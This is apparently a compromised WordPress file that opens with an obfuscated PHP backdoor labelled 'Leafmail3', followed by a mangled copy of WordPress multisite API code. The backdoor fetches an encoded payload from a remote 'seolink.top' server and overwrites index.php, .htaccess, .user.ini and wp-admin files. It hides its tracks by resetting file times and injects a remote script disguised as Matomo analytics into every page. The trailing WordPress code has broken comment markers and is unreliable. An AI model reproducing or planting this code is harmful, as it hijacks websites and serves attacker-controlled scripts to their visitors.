0byt3m1n1

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File: LzW.js.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php /* 
*
 * Multisite WordPress API
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 

*
 * Gets the network's site and user counts.
 *
 * @since MU (3.0.0)
 *
 * @return array Site and user count for the network.
 
function get_sitestats() {
	$stats = array(
		'blogs' => get_blog_count(),
		'users' => get_user_count(),
	);

	return $stats;
}

*
 * Get one of a user's active blogs
 *
 * Returns the user's primary blog, if they have one and
 * it is active. If it's inactive, function returns another
 * active blog of the user. If none are found, the user
 * is added as a Subscriber to the Dashboard Blog and that blog
 * is returned.
 *
 * @since MU (3.0.0)
 *
 * @param int $user_id The unique ID of the user
 * @return WP_Site|void The blog object
 
function get_active_blog_for_user( $user_id ) {
	$blogs = get_blogs_of_user( $user_id );
	if ( empty( $blogs ) )
		return;

	if ( ! is_multisite() ) {
		return $blogs[ get_current_blog_id() ];
	}

	$primary_blog = get_user_meta( $user_id, 'primary_blog', true );
	$first_blog = current($blogs);
	if ( false !== $primary_blog ) {
		if ( ! isset( $blogs[ $primary_blog ] ) ) {
			update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id );
			$primary = get_site( $first_blog->userblog_id );
		} else {
			$primary = get_site( $primary_blog );
		}
	} else {
		TODO Review this call to add_user_to_blog too - to get here the user must have a role on this blog?
		$result = add_user_to_blog( $first_blog->userblog_id, $user_id, 'subscriber' );

		if ( ! is_wp_error( $result ) ) {
			update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id );
			$primary = $first_blog;
		}
	}

	if ( ( ! is_object( $primary ) ) || ( $primary->archived == 1 || $primary->spam == 1 || $primary->deleted == 1 ) ) {
		$blogs = get_blogs_of_user( $user_id, true );  if a user's primary blog is shut down, check their other blogs.
		$ret = false;
		if ( is_array( $blogs ) && count( $blogs ) > 0 ) {
			foreach ( (array) $blogs as $blog_id => $blog ) {
				if ( $blog->site_id != get_current_network_id() )
					continue;
				$details = get_site( $blog_id );
				if ( is_object( $details ) && $details->archived == 0 && $details->spam == 0 && $details->deleted == 0 ) {
					$ret = $blog;
					if ( get_user_meta( $user_id , 'primary_blog', true ) != $blog_id )
						update_user_meta( $user_id, 'primary_blog', $blog_id );
					if ( !get_user_meta($user_id , 'source_domain', true) )
						update_user_meta( $user_id, 'source_domain', $blog->domain );
					break;
				}
			}
		} else {
			return;
		}
		return $ret;
	} else {
		return $primary;
	}
}

*
 * The number of active users in your installation.
 *
 * The count is cached and updated twice daily. This is not a live count.
 *
 * @since MU (3.0.0)
 * @since 4.8.0 The $network_id parameter has been added.
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 * @return int Number of active users on the network.
 
function get_user_count( $network_id = null ) {
	return get_network_option( $network_id, 'user_count' );
}

*
 * The number of active sites on your installation.
 *
 * The count is cached and updated twice daily. This is not a live count.
 *
 * @since MU (3.0.0)
 * @since 3.7.0 The $network_id parameter has been deprecated.
 * @since 4.8.0 The $network_id parameter is now being used.
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 * @return int Number of active sites on the network.
 
function get_blog_count( $network_id = null ) {
	return get_network_option( $network_id, 'blog_count' );
}

*
 * Get a blog post from any site on the network.
 *
 * @since MU (3.0.0)
 *
 * @param int $blog_id ID of the blog.
 * @param int $post_id ID of the post you're looking for.
 * @return WP_Post|null WP_Post on success or null on failure
 
function get_blog_post( $blog_id, $post_id ) {
	switch_to_blog( $blog_id );
	$post = get_post( $post_id );
	restore_current_blog();

	return $post;
}

*
 * Adds a user to a blog.
 *
 * Use the {@see 'add_user_to_blog'} action to fire an event when users are added to a blog.
 *
 * @since MU (3.0.0)
 *
 * @param int    $blog_id ID of the blog you're adding the user to.
 * @param int    $user_id ID of the user you're adding.
 * @param string $role    The role you want the user to have
 * @return true|WP_Error
 
function add_user_to_blog( $blog_id, $user_id, $role ) {
	switch_to_blog($blog_id);

	$user = get_userdata( $user_id );

	if ( ! $user ) {
		restore_current_blog();
		return new WP_Error( 'user_does_not_exist', __( 'The requested user does not exist.' ) );
	}

	*
	 * Filters whether a user should be added to a site.
	 *
	 * @since 4.9.0
	 *
	 * @param bool|WP_Error $retval  True if the user should be added to the site, false
	 *                               or error object otherwise.
	 * @param int           $user_id User ID.
	 * @param string        $role    User role.
	 * @param int           $blog_id Site ID.
	 
	$can_add_user = apply_filters( 'can_add_user_to_blog', true, $user_id, $role, $blog_id );

	if ( true !== $can_add_user ) {
		restore_current_blog();

		if ( is_wp_error( $can_add_user ) ) {
			return $can_add_user;
		}

		return new WP_Error( 'user_cannot_be_added', __( 'User cannot be added to this site.' ) );
	}

	if ( !get_user_meta($user_id, 'primary_blog', true) ) {
		update_user_meta($user_id, 'primary_blog', $blog_id);
		$site = get_site( $blog_id );
		update_user_meta( $user_id, 'source_domain', $site->domain );
	}

	$user->set_role($role);

	*
	 * Fires immediately after a user is added to a site.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int    $user_id User ID.
	 * @param string $role    User role.
	 * @param int    $blog_id Blog ID.
	 
	do_action( 'add_user_to_blog', $user_id, $role, $blog_id );
	wp_cache_delete( $user_id, 'users' );
	wp_cache_delete( $blog_id . '_user_count', 'blog-details' );
	restore_current_blog();
	return true;
}

*
 * Remove a user from a blog.
 *
 * Use the {@see 'remove_user_from_blog'} action to fire an event when
 * users are removed from a blog.
 *
 * Accepts an optional `$reassign` parameter, if you want to
 * reassign the user's blog posts to another user upon removal.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $user_id  ID of the user you're removing.
 * @param int    $blog_id  ID of the blog you're removing the user from.
 * @param string $reassign Optional. A user to whom to reassign posts.
 * @return true|WP_Error
 
function remove_user_from_blog($user_id, $blog_id = '', $reassign = '') {
	global $wpdb;
	switch_to_blog($blog_id);
	$user_id = (int) $user_id;
	*
	 * Fires before a user is removed from a site.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int $user_id User ID.
	 * @param int $blog_id Blog ID.
	 
	do_action( 'remove_user_from_blog', $user_id, $blog_id );

	 If being removed from the primary blog, set a new primary if the user is assigned
	 to multiple blogs.
	$primary_blog = get_user_meta($user_id, 'primary_blog', true);
	if ( $primary_blog == $blog_id ) {
		$new_id = '';
		$new_domain = '';
		$blogs = get_blogs_of_user($user_id);
		foreach ( (array) $blogs as $blog ) {
